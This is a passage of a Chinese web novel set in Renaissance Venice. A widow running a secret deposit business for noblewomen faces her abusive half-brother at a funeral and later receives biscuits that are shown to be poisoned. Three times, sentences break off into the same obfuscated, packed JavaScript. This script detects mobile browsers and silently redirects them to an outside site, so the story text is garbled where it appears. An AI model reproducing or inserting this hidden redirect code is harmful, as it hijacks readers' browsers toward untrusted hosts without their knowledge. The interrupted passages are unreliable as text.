“嚯,好家伙,你最近吃得不错嘛。”索菲亚坏笑着揶揄道,瞥了一眼莉莉斯身后的海因里希,“本来我还想送你个帅哥解闷的,没想到你一点不亏待自己,已经给自己找好了。还是个不苟言笑的金发,原来你喜欢这一款啊。” “不是的,其实他是我买来帮忙算账的……”莉莉斯的脸上浮起了一层红晕,略有些尴尬地解释道。 “没事的,不用解释,咱们懂得都懂。”索菲亚笑着挑了挑眉,“既然帅哥你已经不缺了,那我就自个儿留着了。别担心,我还给你准备了另一个礼物,给你的生活添点乐趣,来慰藉你丈夫新丧的苦楚。” 她丈夫新丧后的生活可真全是乐趣,实在没有一点苦楚。海因里希在心中暗自嘲讽。只见索菲亚身后的男人走上前,将手里的东西展示在莉莉丝面前——在一个铁丝笼子里关着一只黑白相间的小兔子。 “这是荷兰兔,专门用来当宠物养的,说是好不容易从北欧运过来,可稀罕呢。”索菲亚得意地介绍着,“你还记得咱们在修道院学校的时候,有次花园里不知怎么跑进来一只别人养的宠物兔子,你和它玩了半天,最后主人找上门来了你才恋恋不舍地给送了回去。” “其实是因为学校里每天的伙食太素了,好想吃肉,我看着那兔子就流口水呢。”莉莉斯坏笑着回应道,“但是你送我的兔子我一定会当个宝贝似的好好养着。谢谢你,索菲亚。例行惯例,我也有礼物要给你。” 海因里希从对方手中接过兔子笼放在自己脚边,将莉莉斯提前交代给他保管的绒布首饰盒从口袋中拿出来。莉莉斯将盒子打开,里面正放着一盒八粒大小均匀的波斯湾产海水珍珠。 这里的一颗珍珠便价值10杜卡特,八颗加在一起足足有80杜卡特。也就是说这么一小盒珍珠便能买下一又五分之二个海因里希了。如此价值不菲的礼物自有起用意——这不仅仅是礼物,也是莉莉斯为索菲亚存放在她那里的资金所付的利息。 索菲亚是莉莉斯的第一个存款用户,也是目前为止存款数量最大的客户。从她刚刚嫁给埃斯特侯爵时的那笔1000杜卡特的嫁妆便尽数交给了莉莉斯保管,如今总存款已经追加到了4000杜卡特。 即使像索菲亚这样出身威尼斯名门丹多洛家族的嫡女,对于母家的财产也没有任何继承权。即使是结婚时一笔头拨出来算做个人财产的嫁妆,往往也逃不开被夫家吃干抹尽的结局。 传统的银行由男人经营,自然也只和男人做生意。为了不得罪女人们背后的夫婿和父兄,他们不敢帮女人存钱。莉莉斯则另辟蹊径,为上流社交圈的小姐们提供了一个安全保存个人财产的机会,再通过珠宝贷款等各式各样的操作让钱流通起来,从流动性中牟取利益,创造价值。 当然了,由于收受利息名义上是违法的,高门贵女们当然不能明目张胆地收取利息。所以莉莉斯通过珠宝赠送的方式,将支付利息的行径精心装饰成贵妇人之间互赠礼物的礼节。 “真是太客气了。今晚到我家吃饭哈。” 索菲亚笑嘻嘻地说着,将珍珠盒子收紧手提包里,握着莉莉斯的手就向人群中走去。修道院学校里认识的小姐们围成圈聚在一起,叽叽喳喳地讨论着上流社会的八卦消息。有一位小姐刚和另一家的少爷订了亲,正迫不及待地想要和莉莉斯商讨存放嫁妆的相关事宜。 突然,一记响亮的巴掌声打破了轻快的葬礼氛围,人群顿时鸦雀无声。 “怎么回事?”作为死者最亲密的家属,莉莉斯率先发声维护秩序,朝着发出声音的位置走了过去。海因里希紧随其后,快步跟了上去。 莉莉斯看见一个瘦弱的女人正抱着自己被打得红肿的脸暗自流泪。那人是莉莉斯的嫂子玛丽亚。 而打她的人,是一个瘦弱矮小,长相平平无奇,甚至可以说得上“老实”的年轻男人。他有着和莉莉斯一样的绿眼睛。海因里希后来才知道,此人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973632|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是莉莉斯同父异母的哥哥,克纳罗家族嫡系的儿子,一个阴魂不散的噩梦——毛罗·克纳罗。 “我的上帝。”莉莉斯条件反射地冲上去将被打的女人护在身后,愤怒地惊叹道,“毛罗!当着天主、神父、死者与众多宾客的面,你怎么可以打人呢!这太过分了!简直是不可饶恕的罪行!” “莉莉安娜?你不过是一个私生女,克纳罗家的事轮得着你来管?”毛罗仿佛被当众羞辱了一般被气得面红耳赤。 “这是我丈夫的葬礼。你在葬礼上打人,我怎么能不管!” “我打的是我老婆。丈夫管教妻子是天经地义的法则,她竟敢当众出言顶撞我,我训诫一下怎么了?莉莉安娜,你以为你嫁了人,从家里搬出去住,你就是个人物了吗?我告诉你,你就是个没人要的烂货,先是克死了你妈,现在又克死了你丈夫,你——” 毛罗突然安静了。莉莉斯抬起头,看见一个金发男人宽阔的背影挡在了自己的身前。海因里希轻而易举地掐住了毛罗的脖子,将他整个人提了起来。 “你现在冒犯的是施密德尔夫人。”他的语气冰冷而严肃,“就算她的丈夫去世了,她也仍旧是施密德尔夫人。注意你的言辞。” 言罢他才松开手将毛罗放了下来。毛罗一屁股坐在地上狼狈不堪地大喘气。海因里希不打算再理会,他转过身护送着他的女主人离开这里,才发现莉莉斯被黑纱遮住的脸上竟满是泪水。 她什么也没说,只是自顾自地向前走,走到教堂背后没有人的地方,坐在花岗岩长椅上默默擦眼泪。 海因里希感到十分诧异与错愕。明明只是一个他轻而易举就能解决掉的渣滓,怎么轻飘飘的几句话就能让莉莉斯掉眼泪? 他下意识想要安慰她,却又不知道该从何说起。这是他与莉莉斯相处一周以来第一次看见莉莉斯哭。她明明是一个特别爱笑的女孩子,无论是虚伪的笑还是真诚的笑,她总是那样笑着,甜甜地笑着,从来不会哭。 “有什么我能帮您的吗?”海因里希递给她一张干净的手帕,单膝跪在莉莉斯的面前,温柔地问。 莉莉斯仍旧没有说话,只是一抽一抽地掉眼泪。良久,她才终于开口,用轻得无法让第三个人听见的声音喃喃自语: “我还是太软弱了……我原本以为我从主家搬出来,拥有了自己的事业……我就可以忘掉那些事,忘掉那些糟糕的过往……可他只是训斥了我几句,我就……” “您一点也不软弱。”海因里希斩钉截铁地告诉她,“这都是再正常不过的情绪,无论换谁被那样攻击都会感觉到痛。您如果软弱的话,一开始就根本不会挡在那位夫人面前。您已经非常勇敢,非常强大了。” “可我却还是得依靠死去丈夫的名声……” “请原谅我说错话了。”海因里希无奈地苦笑道。方才事发突然,他差点忘记了自己现在正在扮演的身份,“在我眼中,您就只是莉莉安娜,只是我的女主人。我为您工作与您的父兄,您的丈夫都没有关系。只是因为您选中了我,买下了我。无论以前发生过什么,现在有我在,他再也不可能伤害您。” 莉莉斯眨了眨眼泪汪汪的眼睛,将信将疑地俯视着海因里希。这时,索菲亚慌慌张张地赶了过来。她坐在莉莉斯的旁边,将好友紧紧揽在怀里,一只手拍着她的背,一只手用手帕拂去她眼角的泪水。 8. 鳄鱼的眼泪 葬礼结束后已近黄昏。莉莉斯和海因里希一起上了索菲亚的贡多拉,四个人一只兔子一起向索菲亚在威尼斯城中的豪宅驶去。小船荡漾在静谧的河道上,海风轻轻吹拂,宁静而悠远。 索菲亚的母家丹多洛家族是威尼斯历史最悠久的名门望族,威尼斯共和国历史上最伟大的总督之一恩里科·丹多洛曾率领第四次十字军东征,为海上共和国赢得了八分之三个君士坦丁堡、整片爱琴海与伯罗奔尼撒半岛上所有最重要港口的控制权。 时至今日,丹多洛家族在共和国元老院中也始终占据着重要的席位,与逐渐走向衰败的克纳罗家族不可同日而语。而索菲亚已故的夫婿则是埃斯特侯爵,家族控制着意大利北部埃斯特、费拉拉、摩德纳等地,家族历史甚至能追溯到古罗马帝国。 这本是一对门当户对,佳偶天成的结合。可结婚不久后,埃斯特侯爵便在一场与米兰公国的战役中意外身亡了。索菲亚因此变成了一名寡妇,过得比莉莉斯还要潇洒——显赫的家庭背景,丈夫留下的巨额遗产,还有一颗享受生活,无忧无虑的内心。 相比之下,莉莉斯的处境显得艰难多了。孤立排挤她的家族,颇受争议的事业,还有她未曾提起的沉痛过往,平日里都被掩饰在她精心设计的笑容底下,却被一个不讲道理的施暴者残忍地撕开,赤裸裸暴露在众人面前。 “你看,起码你买的这个小白脸还挺顶用的。”索菲亚一边安慰一边揶揄,试图哄莉莉斯开心,“毛罗当众打人确实不合规矩,神父后面赶过来狠狠训斥了他一通呢。” “我哭的时候应该没有人看见吧?”现在莉莉斯早就擦干了泪水,重新将哭花了的妆容补好,俨然还是葬礼开始前端庄优雅的贵妇人形象。 “不会的,你的黑纱遮着脸,没人能看见你的眼泪,只能看见你挡在玛丽亚面前的飒爽英姿。”索菲亚亲昵地靠在莉莉斯的肩头,把玩着好友头上的纱布,“再说了,你丈夫的葬礼,你掉两滴眼泪怎么了?哭一哭也是人之常情嘛。” “他以前也是那样打我的。”莉莉斯静静地说,“当着父亲的面,甚至当着仆人的面,扯着我的头发巴掌就扇过来……多亏了你和埃莱娜姑姑,我才有机会能从那个魔窟里搬出来……现在他打不了妹妹,便逮着妻子开始下手……” “都过去了。”索菲亚轻轻拍着她的背,“今晚我们一起喝酒,一起狠狠地骂他。晚上你就留宿在我这里,睡在我隔壁的卧室,还像我们小时候那样,等明天早上我再送你回去。“ “谢谢你,索菲亚,你还是那么好。” “谢什么,我们那么多年的老朋友了。” “我都不知道他为什么要来参加我丈夫的葬礼。”莉莉斯思索着,“一定是父亲让他来的。为了维护表面上的面子工程,谁能料到他竟惹出这么大的乱子,为家族蒙羞。” “你父亲知道了,肯定也得训斥他一番。毕竟家丑不可外扬,兄妹之间闹得再僵,也不能明面上动手动脚。” “做做样子罢了。”莉莉斯不屑地骂道,“就这么一个嫡出的好大儿,哪忍得下心来正儿八经惩罚呢?” “别去想这些。你现在已经搬出来了,和他们再不用扯上不必要的瓜葛。哦对了,我还没跟你介绍呢,”索菲亚指了指身后穿着奇怪衣服的男人,“他是布鲁奈罗,我从中部聘请过来的裁缝,设计的衣服颇有新意。一会儿回去了,我让他给你和你的小白脸各设计两套,等做好了再送到你家去。毕竟你总不能一直穿着丧服嘛,也该做两条新裙子。” “丧服其实也挺好的,能帮我免去不少骚扰。我丈夫才新丧一个月,我家里邮箱收到的求婚帖便已经比我当初发出去的婚礼请柬还要多了。” “没事的,再过段时间就好了,我也是这么过来的。”索菲亚笑着对她说,“对了,我还没问呢,总这么小白脸小白脸的叫也不太体面。你这个小白脸叫什么名字?” “哦,他叫海因里希。” “……用丈夫的名字给奴隶起名,原来你还有这种癖好。” “怎么了,我觉得这名字还蛮好听的。”莉莉斯撅了撅嘴。 索菲亚突然偏过头来,从上往下仔仔细细地将海因里希打量了一番,盯得海因里希背后发凉。 “你觉得如果你真的嫁到德国去了,你会开心吗?” “肯定不会的。”莉莉斯直截了当地说,“我没办法信任任何男人。因为男人都是只计算利益,没有感情的原始动物。我只能和他们做生意,不能谈感情。至于海因里希,他不是男人,是我养的一条狗。” 冰凉的灰绿色目光投向了海因里希,像是在审视一个无足轻重的物品一样,冷冷地盯着他。海因里希就这样被当作了一个无辜的出气口。他被盯得一肚子的火,也没地方发泄,只能把恨意全部咬碎了自己吞下去。 真是白瞎了他之前对莉莉斯的那番安慰与劝导。惩治一下毛罗也就算了。那几乎是海因里希条件反射的肌肉动作,他从小受到的教育让他不可能对仗势欺人者袖手旁观。即使被攻击的不是莉莉斯,他也会挺身而出申张正义。 可后来的那番话,却完全是他在目睹全过程后想对莉莉丝说的肺腑之言。他是真心实意地欣赏着莉莉斯……的一些方面,以至于在看到她哭的时候差点忘记了莉莉斯在对待他时究竟是一个怎样心狠手辣,丧尽天良的人。 她认为男人都是只计算得失的利己主义者,那么她自己呢?她对待海因里希的时候,难道把他当人看过吗? 复仇的意志再一次在他的心中占据上风。然而表面上,他却只是面无表情地挑了挑眉,欣然接受女主人为自己贴上的标签。忍。他还得继续忍下去,一边忍一边提放鳄鱼的眼泪,忍到最终获得莉莉斯的信任。 他看了一眼笼子里关着的兔子。在这条船上他似乎还是和这家伙最有共同语言。 “你只是在以男人对待女人的方式对待男人而已。那句话怎么说来着,‘我只是犯了所有男人都会犯的错’,哈哈哈哈哈。”索菲亚大笑着拍了拍莉莉斯的肩膀。船靠岸了,四人一兔在仆从的迎接下走进索菲亚家富丽堂皇的宫殿。 晚饭时借着讨伐毛罗的名义,索菲亚喝了不少葡萄酒,反而是莉莉斯只浅浅小酌。微醺的索菲亚很快便倒在裁缝的怀里,迷迷糊糊地回了卧房。 好在提前打点过的女仆已经整理好了给莉莉斯的客房,也备好了临时用的睡衣与洗漱用品,还点上了莉莉斯喜欢的香氛,只是全然没有安排海因里希该去哪里住便径自离开了。 “……我回家去换塞西莉娅来陪您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973633|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 与莉莉斯共处一室令海因里希感到有些尴尬。其实从索菲亚家到莉莉斯家路程并不算远,步行半小时左右就能到达,或许这也是索菲亚没有另外给他安排卧室的原因吧。 “今天发生的事你要是敢说出去一个字,我一定会杀了你。”莉莉斯坐在柔软的大床上,恶狠狠地瞪着海因里希。 “我的处理方式令您不满意吗?”海因里希有些不耐烦地皱起了眉。 “你让我感觉到威胁。” “是吗?威胁到您的原来是我吗。” “海因里希!注意你的身份!” “请问我有说什么不符合我身份的话吗?”海因里希十分无奈地单膝跪在莉莉斯的面前。不行,忍,他还得忍。不能被她抓到把柄。海因里希深吸一口气,重新抬起头仰视她,“我哪句话惹您生气了?” 突然,莉莉斯抬起一条腿,皮鞋的鞋底毫无征兆地踩在海因里希宽阔的胸口上。 “我知道您今天受了委屈,还在气头上。”海因里希伸出双手,将莉莉斯的鞋子捧在手心里,缓缓放回到地上,“不过如果这么做能令您开心的话,就请随意拿我撒气吧。” 莉莉斯诧异地睁大眼睛。她眼睁睁地看着海因里希将皮带解了下来,双手捧着交给到莉莉斯的手中。 “……如果我这么做了。我和毛罗还有什么区别。” “区别在于我是自愿的。而且我是您的奴隶,又不是您的丈夫。您刚刚都说要杀我了。对我来说,被打一顿总比被杀强吧。” 莉莉斯被他的话整得哑口无言,竟一点脾气也发不出来了。她知道自己其实是在无理取闹。海因里希什么也没有做错,只是她对毛罗、对家族的恨意无处发泄,害得他成了替罪羊。可海因里希却并没有对她生气,反倒让她完全不知道该怎么应对了。 “啪!” 房门被醉醺醺的索菲亚猛地推开撞在墙上,发出沉重的一击闷响。莉莉斯吓了一大跳,吓得手里的皮带也落在了地上。索菲亚看见屋里的情形,赶紧把门重新关上,在门外大喊道, “对不起对不起对不起,我忘了你们俩在一个屋里……没事,你们继续……” “喂!”莉莉斯急忙冲出房门,红着脸拉住索菲亚,“我们不是你想的那种关系!” “有什么关系,大家都是成年人了,有点小癖好也是人之常情……”索菲亚讪笑着别开脸,忽然表情又冷了下来,“我来其实是为了告诉你,有客人找上门来拜访你。先去了你家,没找着人,便又找到我家来了。只不过你估计是不想见她的……” “是谁?”莉莉斯皱起了眉头。 “是玛利亚。她说为了今天你给她出头的事,一定要当面感谢你。” 莉莉斯的表情瞬间僵住了,禁不住打了个寒颤。玛丽亚虽然很可怜,嫁过去后估计也受了毛罗不少虐待,但她毕竟是毛罗的妻子,光凭这个身份本身就能让莉莉斯联想到很多非常不好的事。 “你若不想见她,我便让佣人去告诉她你已经睡了。反正这里是我家,不是他们克纳罗的地盘,她总不可能闯进来见你。”索菲亚有些担忧地看着她。 “请她进来吧。”莉莉斯努力克制着情绪,双手握紧了拳头,“海因里希,陪我去见她。” 9. 受害者的骗局 索菲亚安排了玛丽亚与莉莉斯在底层的会客厅见面。莉莉斯仍旧穿着早上那身做工考究的丧服,妆容精致,头戴面纱,正襟危坐在玛丽亚面前。一盏巨大的水晶吊灯横隔在二人之间,火光随着窗外的微风摇曳,仿佛随时都会被扑灭。 莉莉斯和这位嫂子实在算不上有什么交情,两人间唯一的共同话题便只有毛罗——一个令她们都遭受过巨大痛苦的恶魔。只不过莉莉斯已经脱离苦海,而玛丽亚却仍深陷在丈夫的虐待中无法自拔。 “婚姻”在教廷眼中是一种神圣不可侵犯的契约,一旦成立就不可能解除。除了狠下心来用一场葬礼去结束掉婚礼导致的后果,莉莉斯想不到还能有什么别的法子能够从中逃脱。 玛丽亚是一个身材纤细瘦小的女人,有着亚麻色的头发,比莉莉斯略微年长一点,也不过二十出头,仍旧很年轻。她穿着一套旧衣服,全身上下的皮肤被裹得严严实实,却还是遮不住她脸上被毛罗打出来的红肿和淤青。她手里提着一个木头盒子,似乎是带给莉莉斯的礼物。 “今天葬礼上的事,我很抱歉。”玛丽亚低着头,轻声对莉莉斯说着,似乎不敢直视她的眼睛。 “您没有什么好道歉的。动手打人的又不是您。我们都知道真正该对我道歉的另有其人。”莉莉斯冷冷地回应道。 “谢谢您出面阻止他……当时要是他继续再打下去,我恐怕会……” “不用特意谢我。换做是别的人受了这样的委屈,我也不会坐视不理的。” “您真是个热心肠的人。”玛丽亚感受到了莉莉斯与她刻意拉开的距离,“我听说您这里,正在经营着一些寄存财产的服务?” “哦,不,没有,并没有这样的事。”莉莉斯警觉地矢口否认,“只是我和几个修道院学校的同学在一起玩过家家罢了。” “那太可惜了。我还想着,要是我能把我的嫁妆也存给您就好了。”玛丽亚无奈地苦笑。 “很抱歉。” “您也知道,毛罗现在都这幅样子,很难成为一个好父亲。我得为我未出生的孩子做打算。” “您怀孕了?” “是的,今天他打完我之后请来医生为我包扎伤口,才查出来我已经怀孕近三个月了。医生说我身子骨弱,要是受了更严重的击打,孩子怕是会保不住。所以多亏了您早上的劝阻,我的孩子才能平安无事。”玛丽亚低下头,苦笑着摸了摸自己还未显孕的肚子。 “……恭喜。” “但愿孩子的出生能令他改过自新。” “我看悬。” “那也是没有办法的事。”玛丽亚沉重地叹了一口气,“但我还是希望他有一天能变好。毕竟大家都是一家人,要是你们兄妹之间也能和和睦睦的该多好啊。我知道您以前也受过不少委屈。可我只是一个女人,无法为您补偿些什么,会做的事也就只有烘焙而已。因此晚上回去我烤了一些杏仁脆饼,希望您会喜欢。” 玛丽亚打开她随身携带的木盒子,里面整齐摆放着一盘现烤的杏仁脆饼,点缀着厚厚的糖霜。 “谢谢您。” “您如果吃着觉得喜欢,我下回再做给您吃。” 玛丽亚看见莉莉斯仍是一幅拒人于千里之外的态度,有些惋惜地笑了笑。 “谢谢姐姐的好意。时候不晚了,您先回去休息吧。要我差人送您吗?” “不用了,我自己坐船回去就行了。” 玛丽亚乘上小船离开了。莉莉斯呆呆地盯着那盒杏仁脆饼。海因里希走到她身前,发现刚刚好不容易哄消气的女主人此刻又在怒火中烧了。 “又生气了?” 莉莉斯恶狠狠地白了他一眼。头也不回地往卧室房间走了。海因里希不知道该拿那盒杏仁脆饼怎么办,只好先收起来,跟在莉莉斯后面带回房间去。 “拿走,扔掉,全丢进河里喂鱼。”莉莉斯气得发抖,“他们夫妻俩不就是担心我待在威尼斯不走,怕我占了他孩子那独有一份的继承权吗!” “或许她没想那么多,只是为了感谢您呢。” “怎么可能。要不是毛罗授意,她绝对不可能晚上一个人出门,还先去了我家,又再跑到索菲亚这里。”莉莉斯从床上捞了一个枕头抱在怀里,将下巴抵在柔软的鹅绒中,“她还想把钱存到我这里来收利息?我怎么敢拿她的钱!万一被毛罗发现了,他可不得把我架在火上烤吗!“ “您的哥哥……这位毛罗先生,他究竟是一个怎么样的人?”海因里希习惯性地单膝跪地在莉莉斯面前,驯顺,乖巧,不让莉莉斯感觉到任何一丝威胁。他发现了自己的女主人并不喜欢仰视别人,因此每当他跪下来抬头看她,她的态度都会逐渐放软。 “脾气暴躁,不学无术,欺软怕硬,愚笨无能。”莉莉斯不假思索答到,“可他是我父亲唯一的婚生子。以后我父亲那一脉的财产,肯定是会继承给他的。” “他会成为克纳罗家族将来的掌门人吗?” “肯定不会。大伯他虽然……缺乏了点商业天赋,但起码还没完全老年痴呆。现在的克纳罗家是由我大伯管事,我父亲排行第二,排第三的是独自在外经商的埃莱娜姑姑,第四的姑姑已经嫁人,然后就是排行第五的五伯,也是个不务正业的主。一家子里除了埃莱娜姑姑还在挣钱,其他几个都快把家底挥霍完了。” 难怪他们会做出把私生女送去德国和一个名不经传的新贵家族联姻的决定。施密德尔家虽然没有悠久的历史,但起码经济实力雄厚。在这个徒有其表,外强中干的老世家里,人人耽于享乐,不思进取,却出了这么一个聪明伶利的私生女,比起助力更像是一个威胁。 “埃莱娜姑姑是我在克纳罗家唯一喜欢的亲戚。”莉莉斯自顾自地继续讲了下去,“她是一个特别厉害的女人,十四岁的时候就扮作了男人去跟着商船出海,在公海中与海盗搏斗拼杀,足迹遍布整个地中海——巴塞罗那、马赛、亚历山大港、克里特岛,甚至还有君士坦丁堡。” 谈起她敬仰的女性前辈,莉莉斯的眼中满是憧憬,仿佛她只是一个活泼爱笑的女孩子。 “自从母亲去世之后,毛罗一心情不好便会来打我,拽着我的头发把我往墙上撞,打得头破血流都屡见不鲜。我父亲常年不是在赌场里赌博,便是又去找哪个时下出名的交际花寻花问柳,根本不在乎一个私生女的死活。只有埃莱娜阿姨会帮我做主。她为了保护我免遭毒打,将我送进了修道院开设的女子学校,我才有机会能认识索菲亚她们。 “我小时候就希望能够成为她那样厉害的女人。可是我身体素质太糟糕了,实在没法适应水手出海时的艰苦环境,便只能继续窝在威尼斯的小房间里写写账本。” 莉莉斯叹了一口气,无力地瘫倒在床上,仿佛被今天一天跌宕起伏的遭遇抽干了精力。 “可是您已经是我见过最厉害的女人了。”海因里希十分严肃地说。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973634|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就喜欢说些漂亮话哄我。” “我是认真的。” 莉莉斯从床上爬起来,皱着眉头望进海因里希的那双清澈的蓝眼睛。浅蓝色的眸子一眼就能望到底,仿佛什么都看得见,又什么都看不清。 “你可以走了,去换塞西莉娅来吧。” “遵命。要我把兔子一起带回去吗?” “……你不说我都忘了还有只兔子。”莉莉斯愣了一下,“我先玩一会儿再给你带回去。” 她提着铁丝笼子坐在波斯地毯上,把笼子的门打开,一只黑白相间的小兔子便一蹦一跳地从笼子里跑了出来。莉莉斯一下子便被小兔子呆萌可爱的样子逗笑了。 “小兔子小兔子,等你快点长大,养得再肥一点就可以吃了。”莉莉斯坏笑着捏了捏兔子柔软的耳朵,轻轻地抚摸着兔子油润水滑的皮毛。 幸好小兔子听不懂这么残暴的话,只是自顾自地在房间里乱蹦乱跳地探索着。它很快便发现了桌上食盒里的杏仁脆饼。莉莉斯还没来得及制止,一天没有进食的小兔子便开始大快朵颐了。 “兔子能吃这玩意吗?”莉莉斯转过头问海因里希。 “坚果、黄油、牛奶和糖类,吃一点应该没事的?”海因里希也不是很清楚,但他们目前并没有干草之类更适合给兔子吃的食物。于是两个人聚精会神地盯着这个可爱的小东西咀嚼食盒里的杏仁饼。 可没过多久,小兔子突然身体猛地一抖,像触电一样四肢僵直,剧烈抽搐着发出短促而凄厉的叫声,很快便一动不动地瘫软在桌上。毒发如此迅速绝不可能是普通的误食,一定是有人蓄意在食物中下毒所致。 “她想杀我……玛丽亚,还有毛罗,他们想杀了我……” 莉莉斯被兔子猝死的惨状吓得全身发软,差一点跌倒,被海因里希及时托住扶着坐回到床沿上。她失魂落魄地拉住了他的袖管,像是抓住了一根救命稻草般紧紧抱住了他。她的话音随着整个身体控制不住地颤抖,眼泪又一次夺眶而出:“我明明没有……我明明没有做错事,我只是想逃跑,我只是不想再被他殴打了……” 海因里希也被吓了一跳。虽然刚刚听莉莉斯分享了家族内部丑闻,对这些人的道德败坏已经有了充分的心理预期,但也未曾料到对方会恨到不惜要将莉莉斯除之而后快的地步。 他的女主人——他的未婚妻正无助地倒在他的身上剧烈颤抖,连带着海因里希自己的心口也不受控制地跟着一阵一阵抽痛。尽管莉莉斯不是什么好人——他对此再清楚不过了——但这帮手握家族权力和财产的嫡系继承人居然要对一个刚刚丧偶、无依无靠的小女孩下此狠手,更是丧尽天良,可恨至极。 绝对不能让这样恶毒的人得逞。向莉莉斯复仇的事情可以先放一放,眼下的海因里希有更可恨的人需要解决。 “对不起,是我不好,是我不该将那盒脏东西拿进来。” 海因里希伸出双臂将莉莉斯环在怀里,轻轻地抚摸她的背,“我以后再也不会让这样的事发生了。您还记得您买我回来是做什么用的吗?只要您想,我就会为您去解决掉所有您不喜欢的人。只要有我在,就没有人能够伤害您。别担心。” “如果就这么杀了他也太便宜他了。”莉莉斯把眼泪蹭在海因里希的衬衫上,突然猛地推开了他,泛着水光的绿眼睛宛如一条毒蛇,“我要先让他失去所拥有的一切,让他从天之骄子跌落深渊,然后再像踩死蚂蚁一样把他彻底碾碎。” 10. 加害者的审判 “我要求毛罗与玛丽亚出来和我对峙,告诉我他们为什么要在给我的食物里蓄意下毒。” 莉莉斯身着一袭乌黑的丧服长裙,怀里抱着那只全身冰凉、身体僵直的死兔子站在克纳罗主家宫殿的会客厅正中间。哭过的一双绿眼睛重新上了妆,在烛光下折射出凌厉的神色。海因里希身披黑色长袍,宛如莉莉斯的影子般陪侍在她身后。 危机总是同时伴随着危险与机遇。莉莉斯比任何人都深谙这个道理。 所以她在调整好情绪后立刻开始部署她的反击。她派出索菲亚手下的佣人去传讯塞西莉娅,安排她去请来可以辨识食物中毒药的医生,再知会塔塔去分别请来父亲和五伯一起深夜相聚在主家的会客厅,她自己则在海因里希的陪同下一起前往家主马西莫所居的宫殿,带着那盒有毒的杏仁脆饼与死去的兔子状告毛罗毒害她的罪行。 由于事发突然,殿中央的水晶吊灯还没来得及点上蜡烛,只有几个小烛台勉强将室内照亮。昏暗的灯光下坐着三位神情凝重的长者。他们背后橙红色的墙面上挂着一幅又一幅克纳罗家列祖列宗的肖像画。 “下毒?怎么可能,他毕竟是你亲哥哥……” 首先开口的是坐在左侧的布鲁诺。他是莉莉斯与毛罗的父亲,留着山羊胡子,眉头紧锁。事关他嫡出儿子的声誉,他的内心深处正急得焦头烂额。 “我有证据。” 莉莉斯不屑地瞥了一眼她的父亲,随即请出了一位秃顶的老医生。 “这盒杏仁饼里用的根本不是做甜品用的甜杏仁,而是有毒的苦杏仁。脆饼的面团里放了十足的苦杏仁油,还用糖油浸泡过苦杏仁来掩盖其特有的清苦气味。” 医生一边说着,一边将那份食盒呈在众人面前。 “这盒脆饼是玛丽亚今晚送给我的礼物。”莉莉斯补充道。 “去把毛罗和玛丽亚请来。” 坐在中间的是马西莫·克纳罗对一旁的仆从使了个颜色。他是莉莉斯的大伯,现任克纳罗家族的掌权者,体态发福,灰白色的头发,布满皱纹的脸上表情严肃。 而家主的右侧则坐着一个年轻许多的男人,年纪只有三十出头的样子,还没有开始蓄胡,一开始坐下时还像地痞流氓似地高高翘着一条腿,被马西莫狠狠蹬了一眼才把腿收好。她是莉莉丝的五伯,名叫弗朗切斯科,和她父亲布鲁诺一样,都是个不务正业的主,却至今没有结婚,因此比莉莉斯的父亲更无所顾忌、潇洒风流。 当面对峙的诉求得到许可,莉莉斯这才正襟危坐在自己的椅子上,静静地等待被告人的到来。 “都是一家人,咱们也没必要把事情闹这么大对吧……” 布鲁诺十分不安地捏着下巴,歪过头压着声音对莉莉斯窃窃私语道。而莉莉斯只是冷冷地斜了一眼他,什么也没说。 有继承权的儿子普遍住得离家很近。没过多久,众人便看见衣衫不整、满面通红的毛罗醉醺醺地出现在大厅中间。他身后跟着玛丽亚,她仍旧穿着见莉莉斯时的那条裙子,只是脸上涂的白粉似乎更厚重了。她见到莉莉斯正在殿中,吓得打了个寒颤,几乎就要晕倒。 “你怎么在这儿!?”毛罗看着莉莉斯坐在这里,顿时大惊失色,意外得像是见到了死人从坟墓里爬了出来。 “怎么,我不能在这儿?难道在哥哥的眼中,我现在应当去天堂陪我那早死的丈夫是吗?”莉莉斯重新站起身,不卑不亢地瞪着毛罗,用余光扫过他身后已经害怕得瑟瑟发抖的玛丽亚。 “你这说的是什么话……”毛罗看见面前桌上摆着的食盒,被酒精扰乱的大脑才终于反应过来现在的局面。 莉莉斯嫌弃地瞥了一眼这个满身酒气的家伙,不理会他,继续对长辈们陈述道:“今天上午在我丈夫的葬礼上,我由于劝阻毛罗当众殴打他的妻子而与他发生了争执。毛罗气急败坏之下对我出言侮辱,是我的侍从及时出面制止,才免于一场更大的风波。” “这件事我已经知情。毛罗挨了主教的训斥,已经受到起应有的惩罚。”马西莫对莉莉斯解释道。 